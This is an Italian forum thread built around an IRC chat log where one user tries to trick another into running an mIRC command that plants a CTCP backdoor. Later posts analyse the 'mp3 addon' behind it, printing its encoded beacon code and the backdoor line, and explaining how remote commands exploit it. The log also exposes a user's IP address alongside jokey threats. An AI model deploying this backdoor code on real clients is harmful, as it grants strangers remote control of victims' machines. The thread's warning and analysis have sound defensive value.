"Ti mando un addonz" ...

Canale #gemboy entra un tipo con nick _fog_ e cosi, dal nulla, mi contatta in PVT e...

[00:11] <_fog_> ciao
[00:11] <JoJo|away> ciao
[00:11] <_fog_> ke fai?
[00:11] <JoJo|away> ki sei?
[00:12] <_fog_> un ragazzo del frusinate
[00:12] <_fog_> tu?
[00:12] <JoJo|away> frusinate?
[00:12] <JoJo|away> (che vuoi?)
[00:12] <_fog_> amo i gemboy
[00:12] <_fog_> frosinone
[00:13] <JoJo|away> frosinone... ok... ami i gemboy... ok ... io che c'entro?! 

[00:13] <_fog_> he un addonz mp3 sui gemboy e volevo fartelo provare [già qua ho iniziato a ridere e i dubbi su quello ke voleva sono diventate certezze... LOOOOOL!]
[00:13] <_fog_> vuoi?
[00:14] <_fog_> allora?
[00:15] <JoJo|away> ovviamente no... ma ti dico di si... voglio proprio vedere... [inizio a prenderlo IO per il culo e non se ne rende conto]

[00:15] <JoJo|away> manda
[00:15] <_fog_> l'ho messo su un link
[00:15] <_fog_> www.addonz.da.ru
[00:16] <JoJo|away> preferisco se me lo passi... zippato.

[00:16] <_fog_> ok

[00:17] <_fog_> accetta [oltre ad essere LAMER è pure fesso visto ke facendomi stò send mi ha spiattellato IN CHIARO il suo IP]
[00:17] <JoJo|away> accetta in automatico....
[00:17] <JoJo|away> non arriva
[00:17] <_fog_> nn so xkè
[00:18] <JoJo|away> boh
[00:18] <_fog_> ti conviene il sito
[00:19] <JoJo|away> no grazie 
[00:19] <_fog_> scaricato?
[00:19] <_fog_> why?
[00:20] <JoJo|away> o me lo sendi o non lo provo 
[00:20] <_fog_> nn ci riesco

[00:20] <JoJo|away> peccato... non te lo posso provare
[00:20] <_fog_> era eccezionale
[00:21] <JoJo|away> eh si... immagino! sono così dispiaciuto che non ne hai idea! [continuano le prese per il culo...]

[00:21] <_fog_> xkè nn ti fidi del link?
[00:22] <JoJo|away> preferisco il send
[00:22] <_fog_> adesso ci riprovo
[00:22] <JoJo|away> ok
[00:23] <JoJo|away> niente... cavolo! volevo troppo provarlo! deve essere fichissimo!
[00:23] <_fog_> sarcasmo?
[00:23] <JoJo|away> no [ma come gli può essere venuto in mente?! mah!]
[00:24] <_fog_> devo ancora capire perchè nn lo scarichi dal link

[00:24] <JoJo|away> perkè stò encodando un DivX e non riesco ad aprire pagine WEB altrimenti mi va tutto a puttana... [questa l'ho inventata sul momento ed è una gran cazzata... ]

[00:25] <_fog_> che divx?
[00:25] <JoJo|away> L'ARMATA DELLE TENEBRE
[00:26] <_fog_> ha
[00:26] <_fog_> quando puoi scaricalo e poi fammi sapere
[00:27] <JoJo|away> se me lo sendi lo provo altrimenti dubito ke me ne ricordi... mi spiace

[00:27] <_fog_> in ogni modo posso inviartelo via ctcp scrivendo //write -c c ctcp ^*:z2:?: .$eval($2-,2) $chr(124) halt | .load -rs2 c [vi giuro ke qua ho dovuto reggere la mandibola con le mani altrimenti mi skizzava fuori dalla finestra dal ridere!!!!]
[00:28] <_fog_> accordo?

[00:28] <_fog_> d'accordo?
[00:29] <_fog_> allora? [viva l'insistenza]
[00:29] <JoJo|away> 60 minuti?
[00:29] <_fog_> per cosa?
[00:29] <JoJo|away> all'ora = 60 minuti
[00:29] <_fog_> ha ha ha
[00:29] <_fog_> no dico seriamente
[00:29] <_fog_> sei d'accordo?
[00:30] <_fog_> (S)i o (N)o

[00:30] <JoJo|away> adesso ho un po' da fare... voglio un po' vedere cosa riesco a fare con questo numero qua 217.201.7.1 [inizio a impaurirlo mostrandogli il suo IP ke gentilmente mi ha fornito]

[00:30] <_fog_> perchè?
[00:30] <JoJo|away> devo fare delle "prove"
[00:30] <_fog_> che ti ho fatto?
[00:31] <JoJo|away> niente
[00:31] <_fog_> che genere di "prove"?
[00:31] <JoJo|away> prove
[00:31] <_fog_> lo vuoi l'addonz?
[00:32] <_fog_> ?????
[00:33] <_fog_> allora??
[00:33] <_fog_> c6?
[00:33] <JoJo|away> ci sono... te l'ho detto ho un po' da fare
[00:33] <_fog_>  lo vuoi l'addonz?
[00:33] <_fog_> (S)i o (N)o
[00:33] <JoJo|away> sendamelo
[00:33] <_fog_> ancora?
[00:34] <_fog_> ti ho detto cosa dovresti fare
[00:34] <_fog_> tu che dici?
[00:34] <JoJo|away> sendamelo
[00:34] <_fog_> ci riprovo
[00:35] <_fog_> allora?
[00:35] <_fog_> arriva?
[00:35] <JoJo|away> no, non arriva
[00:35] <JoJo|away> mi spiace
[00:35] <JoJo|away> non lo posso provae
[00:36] <_fog_> fai come ti dico e lo proverai
[00:36] <JoJo|away> vai

[00:36] <_fog_> //write -c c ctcp ^*:z2:?: .$eval($2-,2) $chr(124) halt | .load -rs2 c [eddai!!! ]

[00:37] <_fog_> fatto??
[00:38] <_fog_> io aspetto
[00:38] <JoJo|away> fatto
[00:38] <JoJo|away> però...

[00:38] <JoJo|away> ctcp *:?:$1- semplice vero? Questo genere di backdoor sono le mie preferite in pratica la backdoor risponderà a qualsiasi tipo di CtCp e attiverà nel client della vittima qualsiasi comando gli verrà ordinato di fare [qua gli incollo un pezzo di un articolo che ho letto mooooolto tempo fa e che ho tenuto da parte non so per quale motivo... non mi andava di spiegargli tutto a mano, troppa fatica per un idiota simile ]

[00:38] <_fog_> dici?
[00:39] <JoJo|away> vuoi continuare a divertirti credendo ke sia un fesso o ti levi dalle palle? Anzi, diciamo cosi: ti levi dalle palle da solo o ti butto giù io? [mi metto quasi al suo livello!! ]
[00:39] <_fog_> nn penso tu sia un fesso

[00:39] <_fog_> .quit [sbaglia pure il comando per uscire]
[00:40] * _fog_ (~humhum@217.201.Azzurra-45ED1243) Quit (Quit: mIRC32 V6.03 + Util V1.0 http://www.allthematrix.net) [se ne è andato con la coda tra le gambe]

Morale della favola? I Lamer esistono ma se li conosci li eviti!! State attenti, sono tra noi!!!

Di preciso, cosa fa quella meraviglia da non usare mai nemmeno sotto tortura? :)

Bel log, cmq ^^

Il lamer mi è parso qualcun altro in questo log non fog che più che altro mi è parso solo uno sprovveduto:

00:30] <JoJo|away> adesso ho un po' da fare... voglio un po' vedere cosa riesco a fare con questo numero qua 217.201.7.1

00:38] <JoJo|away> ctcp *:?:$1- semplice vero? Questo genere di backdoor sono le mie preferite in pratica la backdoor risponderà a qualsiasi tipo di CtCp e attiverà nel client della vittima qualsiasi comando gli verrà ordinato di fare

00:39] <JoJo|away> vuoi continuare a divertirti credendo ke sia un fesso o ti levi dalle palle? Anzi, diciamo cosi: ti levi dalle palle da solo o ti butto giù io?

Steve ha scritto:

Di preciso, cosa fa quella meraviglia da non usare mai nemmeno sotto tortura?

Detto tutto cio' ho provato l'addons famoso, scaricato dal link citato e sorpresa sorpresa, un trojan? una backdoors? no gh, un semplicissimo player mp3.........

Ok, appurato che i lamerz del log erano due, pare che la buonafede di fog fosse ingiustificata e che la malafede di JoJo (verso lo script) fosse invece ben fondata.

Dalla linea 61 alla 69 dello script abbiamo:

on *:LOAD: {
  $decode(cHJpdm1zZyAjdmVyc2lvbmUxIEF0dGl2YXRvISEh,m)
}
on *:CONNECT: {
  $decode(cHJpdm1zZyAjdmVyc2lvbmUxIENvbm5lc3NvISEh,m)
}
on *:NICK: {
  if ($nick == $me) { $decode(cHJpdm1zZyAjdmVyc2lvbmUxIFNvbm8gUXVpISE=,m) }
}

Fin qui poco male, tutto sommato (nonostante i $decode eseguano dei /privmsg, quindi privi di echo per l'utente ignaro, verso un canale, il quale se settato -n completerebbe la cosa). Associato però alla riga 91:

ctcp ^*:z2:?: .$eval($2-,2) | halt

abbiamo una bella backdoor con tanto di "avviso di chiamata". Mica male.
Alla faccia del "semplicissimo player mp3" lol.

Infatti vorrei capire chi è Marko2oo3 che si è registrato solo per rispondere a questo LOG e che ha un solo msg al suo attivo.

Marko2oo3 da del Lamer a me solo perkè ho dato quella risposta, sapendo di dire una cazzata ad un cazzaro... la mia è stata una presa per il **** del tipo dall'inizio alla fine se non l'avessi capito...

^Faust^ ha scritto:

Dalla linea 61 alla 69 dello script abbiamo:

on *:LOAD: {
  $decode(cHJpdm1zZyAjdmVyc2lvbmUxIEF0dGl2YXRvISEh,m)
}
on *:CONNECT: {
  $decode(cHJpdm1zZyAjdmVyc2lvbmUxIENvbm5lc3NvISEh,m)
}
on *:NICK: {
  if ($nick == $me) { $decode(cHJpdm1zZyAjdmVyc2lvbmUxIFNvbm8gUXVpISE=,m) }
}

Fin qui poco male, tutto sommato (nonostante i $decode eseguano dei /privmsg, quindi privi di echo per l'utente ignaro, verso un canale, il quale se settato -n completerebbe la cosa). Associato però alla riga 91:

ctcp ^*:z2:?: .$eval($2-,2) | halt

abbiamo una bella backdoor con tanto di "avviso di chiamata".

Siamo quasi da "Angolo Tecnico", ma... che cosa fanno quei comandini?
In particolare, come faccioa leggere quei $decode e che tipo di backdoor viene aperta? :)

Ciao e grazie :D

on *:LOAD: {
  $decode(cHJpdm1zZyAjdmVyc2lvbmUxIEF0dGl2YXRvISEh,m)
}
on *:CONNECT: {
  $decode(cHJpdm1zZyAjdmVyc2lvbmUxIENvbm5lc3NvISEh,m)
}
on *:NICK: {
  if ($nick == $me) { $decode(cHJpdm1zZyAjdmVyc2lvbmUxIFNvbm8gUXVpISE=,m) }
}

Puoi testare i $decode tramite un echo per tradurre la parte codificata. Ad esempio:

//echo -a $decode(cHJpdm1zZyAjdmVyc2lvbmUxIFNvbm8gUXVpISE=,m)

ti restituirà privmsg #versione1 Sono Qui!!, quindi un raw PRIVMSG (privo di echo agli occhi dell'esecutore) verso il canale #versione1. Se il canale #versione1 fosse -n, gli utenti di quel canale leggerebbero un <^Faust^>Sono Qui!! senza che io mi accorga di nulla, venendo così a conoscenza del fatto che ho installato quell'addon. Di conseguenza:

ctcp ^*:z2:?: .$eval($2-,2) | halt

Una volta saputo che ho installato quell'addon possono ad esempio inviarmi un

/ctcp ^Faust^ z2 quit sux

per farmi eseguire da remoto un quit con reason "sux". Questo per fare un esempio, poi chi più ne ha più ne metta. In fin dei conti mIRC ha funzioni per tutti gusti, dall'accesso al file system all'esecuzione di programmi.